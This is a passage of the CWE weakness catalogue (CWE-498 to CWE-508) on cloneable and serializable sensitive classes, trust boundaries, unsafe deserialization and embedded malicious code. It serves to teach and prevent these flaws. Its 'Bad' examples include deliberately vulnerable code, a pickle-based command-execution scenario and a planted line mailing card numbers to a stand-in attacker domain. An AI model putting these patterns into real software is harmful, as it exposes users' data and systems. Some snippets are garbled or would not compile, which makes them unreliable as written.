Software Fault Patterns	SFP23		Exposed Data

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
170	Web Application Fingerprinting
694	System Location Discovery

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-498: Cloneable Class Containing Sensitive Information

Weakness ID : 498
Structure : Simple
Abstraction : Variant

Description

The code contains a class with sensitive data, but the class is cloneable. The data can then be accessed by cloning the class.

Extended Description

Cloneable classes are effectively open classes, since data cannot be hidden in them. Classes that do not explicitly deny cloning can be cloned by any other class without running the constructor.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	668	Exposure of Resource to Wrong Sphere	1469
CanPrecede	●	200	Exposure of Sensitive Information to an Unauthorized Actor	504

Applicable Platforms

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *A class that can be cloned can be produced without executing the constructor. This is dangerous since the constructor may perform security-related checks. By allowing the object to be cloned, those checks may be bypassed.*	

Potential Mitigations

Phase: Implementation

If you do make your classes clonable, ensure that your clone method is final and throw super.clone().

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: Java *(Bad)*

```
public class CloneClient {
  public CloneClient() //throws
  java.lang.CloneNotSupportedException {
    Teacher t1 = new Teacher("guddu","22,nagar road");
    //...
    // Do some stuff to remove the teacher.
    Teacher t2 = (Teacher)t1.clone();
    System.out.println(t2.name);
  }
  public static void main(String args[]) {
    new CloneClient();
  }
}
class Teacher implements Cloneable {
  public Object clone() {
    try {
      return super.clone();
    }
    catch (java.lang.CloneNotSupportedException e) {
      throw new RuntimeException(e.toString());
    }
  }
  public String name;
  public String clas;
  public Teacher(String name,String clas) {
    this.name = name;
    this.clas = clas;
  }
}
```

Make classes uncloneable by defining a clone function like:

Example Language: Java *(Good)*

```
public final void clone() throws java.lang.CloneNotSupportedException {
  throw new java.lang.CloneNotSupportedException();
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	844	2364
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf	C	1139	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)	1133	2446
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2528

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Information leak through class cloning
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ07-J		Sensitive classes must not let themselves be copied
Software Fault Patterns	SFP23		Exposed Data

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-499: Serializable Class Containing Sensitive Data

Weakness ID : 499
Structure : Simple
Abstraction : Variant

Description

The code contains a class with sensitive data, but the class does not explicitly deny serialization. The data can be accessed by serializing the class through another class.

Extended Description

Serializable classes are effectively open classes since data cannot be hidden in them. Classes that do not explicitly deny serialization can be serialized by any other class, which can then in turn use the data stored inside it.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	668	Exposure of Resource to Wrong Sphere	1469
CanPrecede	●	200	Exposure of Sensitive Information to an Unauthorized Actor	504

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *an attacker can write out the class to a byte stream, then extract the important data from it.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

In Java, explicitly define final writeObject() to prevent serialization. This is the recommended solution. Define the writeObject() function to throw an exception explicitly denying serialization.

Phase: Implementation

Make sure to prevent serialization of your objects.

Demonstrative Examples

Example 1:

This code creates a new record for a medical patient:

Example Language: Java *(Bad)*

```
class PatientRecord {
  private String name;
  private String socialSecurityNum;
  public Patient(String name,String ssn) {
    this.SetName(name);
    this.SetSocialSecurityNumber(ssn);
  }
}
```

This object does not explicitly deny serialization, allowing an attacker to serialize an instance of this object and gain a patient's name and Social Security number even though those fields are private.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	858	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)	844	2368
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf	C	1148	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER)	1133	2451
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2528

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Information leak through serialization
The CERT Oracle Secure Coding Standard for Java (2011)	SER03-J		Do not serialize unencrypted, sensitive data
The CERT Oracle Secure Coding Standard for Java (2011)	SER05-J		Do not serialize instances of inner classes
Software Fault Patterns	SFP23		Exposed Data

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-500: Public Static Field Not Marked Final

Weakness ID : 500
Structure : Simple
Abstraction : Variant

Description

An object contains a public static field that is not marked final, which might allow it to be modified in unexpected ways.

Extended Description

Public static variables can be read without an accessor and changed without a mutator by any classes in the application.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	493	Critical Public Variable Without Final Modifier	1182

Applicable Platforms

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Background Details

When a field is declared public but not final, the field can be read and written to by arbitrary Java code.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *The object could potentially be tampered with.*	
Confidentiality	Read Application Data *The object could potentially allow the object to be read.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Clearly identify the scope for all critical data elements, including whether they should be regarded as static.

Phase: Implementation

Make any static fields private and constant. A constant field is denoted by the keyword 'const' in C/C++ and ' final' in Java

Demonstrative Examples

Example 1:

The following examples use of a public static String variable to contain the name of a property/ configuration file for the application.

Example Language: C++ *(Bad)*

```
class SomeAppClass {
   public:
      static string appPropertiesConfigFile = "app/properties.config";
   ...
}
```

Example Language: Java *(Bad)*

```
public class SomeAppClass {
   public static String appPropertiesFile = "app/Application.properties";
   ...
}
```

Having a public static variable that is not marked final (constant) may allow the variable to the altered in a way not intended by the application. In this example the String variable can be modified to indicate a different on nonexistent properties file which could cause the application to crash or caused unexpected behavior.

Example Language: C++ *(Good)*

```
class SomeAppClass {
   public:
      static const string appPropertiesConfigFile = "app/properties.config";
   ...
}
```

Example Language: Java *(Good)*

```
public class SomeAppClass {
   public static final String appPropertiesFile = "app/Application.properties";
   ...
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	844	2364
MemberOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	2421
MemberOf	C	1139	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)	1133	2446
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2528

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Overflow of static internal buffer
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ10-J		Do not use public static nonfinal variables
Software Fault Patterns	SFP28		Unexpected access points

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-501: Trust Boundary Violation

Weakness ID : 501
Structure : Simple
Abstraction : Base

Description

The product mixes trusted and untrusted data in the same data structure or structured message.

Extended Description

A trust boundary can be thought of as line drawn through a program. On one side of the line, data is untrusted. On the other side of the line, data is assumed to be trustworthy. The purpose of validation logic is to allow data to safely cross the trust boundary - to move from untrusted to trusted. A trust boundary violation occurs when a program blurs the line between what is trusted and what is untrusted. By combining trusted and untrusted data in the same data structure, it becomes easier for programmers to mistakenly trust unvalidated data.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1454

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	265	Privilege Issues	2316

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Demonstrative Examples

Example 1:

The following code accepts an HTTP request and stores the username parameter in the HTTP session object before checking to ensure that the user has been authenticated.

Example Language: Java *(Bad)*

```
usrname = request.getParameter("usrname");
```

```
if (session.getAttribute(ATTR_USR) == null) {
   session.setAttribute(ATTR_USR, usrname);
}
```

Example Language: C# *(Bad)*

```
usrname = request.Item("usrname");
if (session.Item(ATTR_USR) == null) {
   session.Add(ATTR_USR, usrname);
}
```

Without well-established and maintained trust boundaries, programmers will inevitably lose track of which pieces of data have been validated and which have not. This confusion will eventually allow some data to be used without first being validated.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	485	7PK - Encapsulation	700	2328
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2491
MemberOf	C	1364	ICS Communications: Zone Boundary Failures	1358	2501
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Trust Boundary Violation
Software Fault Patterns	SFP23		Exposed Data

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-502: Deserialization of Untrusted Data

Weakness ID : 502
Structure : Simple
Abstraction : Base

Description

The product deserializes untrusted data without sufficiently verifying that the resulting data will be valid.

Extended Description

It is often convenient to serialize objects for communication or to save them for later use. However, deserialized data or code can often be modified without using the provided accessor functions if it does not use cryptography to protect itself. Furthermore, any cryptography would still be client-side security -- which is a dangerous security assumption.

Data that is untrusted can not be trusted to be well-formed.

When developers place no restrictions on "gadget chains," or series of instances and method invocations that can self-execute during the deserialization process (i.e., before the object is returned to the caller), it is sometimes possible for attackers to leverage them to perform unauthorized actions, like generating a shell.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	913	Improper Control of Dynamically-Managed Code Resources	1805
PeerOf	B	915	Improperly Controlled Modification of Dynamically-Determined Object Attributes	1809
PeerOf	B	915	Improperly Controlled Modification of Dynamically-Determined Object Attributes	1809

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	913	Improper Control of Dynamically-Managed Code Resources	1805

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	2433

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	2324

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Language : Ruby *(Prevalence = Undetermined)*

Language : PHP *(Prevalence = Undetermined)*

Language : Python *(Prevalence = Undetermined)*

Language : JavaScript *(Prevalence = Undetermined)*

Technology : ICS/OT *(Prevalence = Often)*

Background Details

Serialization and deserialization refer to the process of taking program-internal object-related data, packaging it in a way that allows the data to be externally stored or transferred ("serialization"), then extracting the serialized data to reconstruct the original object ("deserialization").

Alternate Terms

Marshaling, Unmarshaling : Marshaling and unmarshaling are effectively synonyms for serialization and deserialization, respectively.

Pickling, Unpickling : In Python, the "pickle" functionality is used to perform serialization and deserialization.

PHP Object Injection : Some PHP application researchers use this term when attacking unsafe use of the unserialize() function; but it is also used for CWE-915.

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data Unexpected State *Attackers can modify unexpected objects or data that was assumed to be safe from modification.*	
Availability	DoS: Resource Consumption (CPU) *If a function is making an assumption on when to terminate, based on a sentry in a string, it could easily never terminate.*	
Other	Varies by Context *The consequences can vary widely, because it depends on which objects or methods are being deserialized, and how they are used. Making an assumption that the code in the deserialized object is valid is dangerous and can enable exploitation.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Phase: Implementation

When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.

Phase: Implementation

Explicitly define a final object() to prevent deserialization.

Phase: Architecture and Design

Phase: Implementation

Make fields transient to protect them from deserialization. An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.

Phase: Implementation

Avoid having unnecessary types or gadgets available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.

Demonstrative Examples

Example 1:

This code snippet deserializes an object from a file and uses it as a UI button:

Example Language: Java *(Bad)*

```
try {
  File file = new File("object.obj");
  ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
  javax.swing.JButton button = (javax.swing.JButton) in.readObject();
  in.close();
}
```

This code does not attempt to verify the source or contents of the file before deserializing it. An attacker may be able to replace the intended file with a file that contains arbitrary malicious code which will be executed when the button is pressed.

To mitigate this, explicitly define final readObject() to prevent deserialization. An example of this is:

Example Language: Java *(Good)*

```
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized"); }
```

Example 2:

In Python, the Pickle library handles the serialization and deserialization processes. In this example derived from [REF-467], the code receives and parses data, and afterwards tries to authenticate a user based on validating a token.

Example Language: Python *(Bad)*

```
try {
  class ExampleProtocol(protocol.Protocol):
  def dataReceived(self, data):
  # Code that would be here would parse the incoming data
  # After receiving headers, call confirmAuth() to authenticate
  def confirmAuth(self, headers):
  try:
  token = cPickle.loads(base64.b64decode(headers['AuthToken']))
  if not check_hmac(token['signature'], token['data'], getSecretKey()):
  raise AuthFail
  self.secure_data = token['data']
  except:
  raise AuthFail
}
```

Unfortunately, the code does not verify that the incoming data is legitimate. An attacker can construct a illegitimate, serialized object "AuthToken" that instantiates one of Python's subprocesses to execute arbitrary commands. For instance,the attacker could construct a pickle that leverages Python's subprocess module, which spawns new processes and includes a number of arguments for various uses. Since Pickle allows objects to define the process for how they should be unpickled, the attacker can direct the unpickle process to call Popen in the subprocess module and execute /bin/sh.

Observed Examples

Reference	Description
CVE-2019-12799	chain: bypass of untrusted deserialization issue (CWE-502) by using an assumed-trusted class (CWE-183) *https://www.cve.org/CVERecord?id=CVE-2019-12799*
CVE-2015-8103	Deserialization issue in commonly-used Java library allows remote execution. *https://www.cve.org/CVERecord?id=CVE-2015-8103*
CVE-2015-4852	Deserialization issue in commonly-used Java library allows remote execution. *https://www.cve.org/CVERecord?id=CVE-2015-4852*
CVE-2013-1465	Use of PHP unserialize function on untrusted input allows attacker to modify application configuration. *https://www.cve.org/CVERecord?id=CVE-2013-1465*
CVE-2012-3527	Use of PHP unserialize function on untrusted input in content management system might allow code execution. *https://www.cve.org/CVERecord?id=CVE-2012-3527*
CVE-2012-0911	Use of PHP unserialize function on untrusted input in content management system allows code execution using a crafted cookie value. *https://www.cve.org/CVERecord?id=CVE-2012-0911*
CVE-2012-0911	Content management system written in PHP allows unserialize of arbitrary objects, possibly allowing code execution. *https://www.cve.org/CVERecord?id=CVE-2012-0911*
CVE-2011-2520	Python script allows local users to execute code via pickled data. *https://www.cve.org/CVERecord?id=CVE-2011-2520*
CVE-2012-4406	Unsafe deserialization using pickle in a Python script. *https://www.cve.org/CVERecord?id=CVE-2012-4406*
CVE-2003-0791	Web browser allows execution of native methods via a crafted string to a JavaScript function that deserializes the string. *https://www.cve.org/CVERecord?id=CVE-2003-0791*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	858	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)	844	2368
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	994	SFP Secondary Cluster: Tainted Input to Variable	888	2417
MemberOf	C	1034	OWASP Top Ten 2017 Category A8 - Insecure Deserialization	1026	2438
MemberOf	C	1148	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER)	1133	2451
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2587
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2485
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2589
MemberOf	V	1340	CISQ Data Protection Measures	1340	2590
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2594
MemberOf	C	1354	OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures	1344	2495

Nature	Type	ID	Name	V	Page
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2597
MemberOf	C	1415	Comprehensive Categorization: Resource Control	1400	2544
MemberOf	V	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses	1425	2600

Notes

Maintenance

The relationships between CWE-502 and CWE-915 need further exploration. CWE-915 is more narrowly scoped to object modification, and is not necessarily used for deserialization.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Deserialization of untrusted data
The CERT Oracle Secure Coding Standard for Java (2011)	SER01-J		Do not deviate from the proper signatures of serialization methods
The CERT Oracle Secure Coding Standard for Java (2011)	SER03-J		Do not serialize unencrypted, sensitive data
The CERT Oracle Secure Coding Standard for Java (2011)	SER06-J		Make defensive copies of private mutable components during deserialization
The CERT Oracle Secure Coding Standard for Java (2011)	SER08-J		Do not use the default serialized form for implementation defined invariants
Software Fault Patterns	SFP25		Tainted input to variable

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
586	Object Injection

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-461]Matthias Kaiser. "Exploiting Deserialization Vulnerabilities in Java". 2015 October 8. < https://www.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478 >.2023-04-07.

[REF-462]Sam Thomas. "PHP unserialization vulnerabilities: What are we missing?". 2015 August 7. < https://www.slideshare.net/_s_n_t/php-unserialization-vulnerabilities-what-are-we-missing >.2023-04-07.

[REF-463]Gabriel Lawrence and Chris Frohoff. "Marshalling Pickles: How deserializing objects can ruin your day". 2015 January 8. < https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles >.2023-04-07.

[REF-464]Heine Deelstra. "Unserializing user-supplied data, a bad idea". 2010 August 5. < https://drupalsun.com/heine/2010/08/25/unserializing-user-supplied-data-bad-idea >.2023-04-07.

[REF-465]Manish S. Saindane. "Black Hat EU 2010 - Attacking Java Serialized Communication". 2010 April 6. < https://www.slideshare.net/msaindane/black-hat-eu-2010-attacking-java-serialized-communication >.2023-04-07.

[REF-466]Nadia Alramli. "Why Python Pickle is Insecure". 2009 September 9. < http://michael-rushanan.blogspot.com/2012/10/why-python-pickle-is-insecure.html >.2023-04-07.

[REF-467]Nelson Elhage. "Exploiting misuse of Python's "pickle"". 2011 March 0. < https://blog.nelhage.com/2011/03/exploiting-pickle/ >.

[REF-468]Chris Frohoff. "Deserialize My Shorts: Or How I Learned to Start Worrying and Hate Java Object Deserialization". 2016 March 1. < https://speakerdeck.com/frohoff/owasp-sd-deserialize-my-shorts-or-how-i-learned-to-start-worrying-and-hate-java-object-deserialization >.2023-04-07.

CWE-506: Embedded Malicious Code

Weakness ID : 506
Structure : Simple
Abstraction : Class

Description

The product contains code that appears to be malicious in nature.

Extended Description

Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of a product or its host system at some time in the future. It generally refers to a program that performs a useful service but exploits rights of the program's user in a way the user does not intend.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	912	Hidden Functionality	1803
ParentOf	B	507	Trojan Horse	1212
ParentOf	B	510	Trapdoor	1215
ParentOf	B	511	Logic/Time Bomb	1216
ParentOf	B	512	Spyware	1218

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Detection Methods

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies Generated Code Inspection

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Automated Monitored Execution

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Manual Source Code Review (not inspections)

Effectiveness = SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Origin Analysis

Effectiveness = SOAR Partial

Potential Mitigations

Phase: Testing

Remove the malicious code and start an effort to ensure that no more malicious code exists. This may require a detailed review of all code, as it is possible to hide a serious attack in only one or two lines of code. These lines may be located almost anywhere in an application and may have been intentionally obfuscated by the attacker.

Demonstrative Examples

Example 1:

In the example below, a malicous developer has injected code to send credit card numbers to the developer's own email address.

Example Language: Java *(Bad)*

```
boolean authorizeCard(String ccn) {
  // Authorize credit card.
  ...
  mailCardNumber(ccn, "evil_developer@evil_domain.com");
}
```

Observed Examples

Reference	Description
CVE-2022-30877	A command history tool was shipped with a code-execution backdoor inserted by a malicious party. *https://www.cve.org/CVERecord?id=CVE-2022-30877*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	2387
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Notes

Terminology

The term "Trojan horse" was introduced by Dan Edwards and recorded by James Anderson [18] to characterize a particular computer security threat; it has been redefined many times [4,18-20].

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Malicious

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
442	Infected Software
448	Embed Virus into DLL
636	Hiding Malicious Data or Code within Files

CWE-507: Trojan Horse

Weakness ID : 507
Structure : Simple
Abstraction : Base

Description

The product appears to contain benign or useful functionality, but it also contains code that is hidden from normal operation that violates the intended security policy of the user or the system administrator.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	506	Embedded Malicious Code	1210
ParentOf	B	508	Non-Replicating Malicious Code	1213
ParentOf	B	509	Replicating Malicious Code (Virus or Worm)	1214

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Operation

Most antivirus software scans for Trojan Horses.

Phase: Installation

Verify the integrity of the product that is being installed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	2387
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Notes

Other

Potentially malicious dynamic code compiled at runtime can conceal any number of attacks that will not appear in the baseline. The use of dynamically compiled code could also allow the injection of attacks on post-deployed applications.

Terminology

Definitions of "Trojan horse" and related terms have varied widely over the years, but common usage in 2008 generally refers to software that performs a legitimate function, but also contains malicious code. Almost any malicious code can be called a Trojan horse, since the author of malicious code needs to disguise it somehow so that it will be invoked by a nonmalicious user (unless the author means also to invoke the code, in which case they presumably already possess the authorization to perform the intended sabotage). A Trojan horse that replicates itself by copying its code into other program files (see case MA1) is commonly referred to as a virus. One that replicates itself by creating new processes or files to contain its code, instead of modifying existing storage entities, is often called a worm. Denning provides a general discussion of these terms; differences of opinion about the term applicable to a particular flaw or its exploitations sometimes occur.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Trojan Horse

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
698	Install Malicious Extension

References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

CWE-508: Non-Replicating Malicious Code

Weakness ID : 508
Structure : Simple
Abstraction : Base

Description

Non-replicating malicious code only resides on the target system or product that is attacked; it does not attempt to spread to other systems.

Relationships

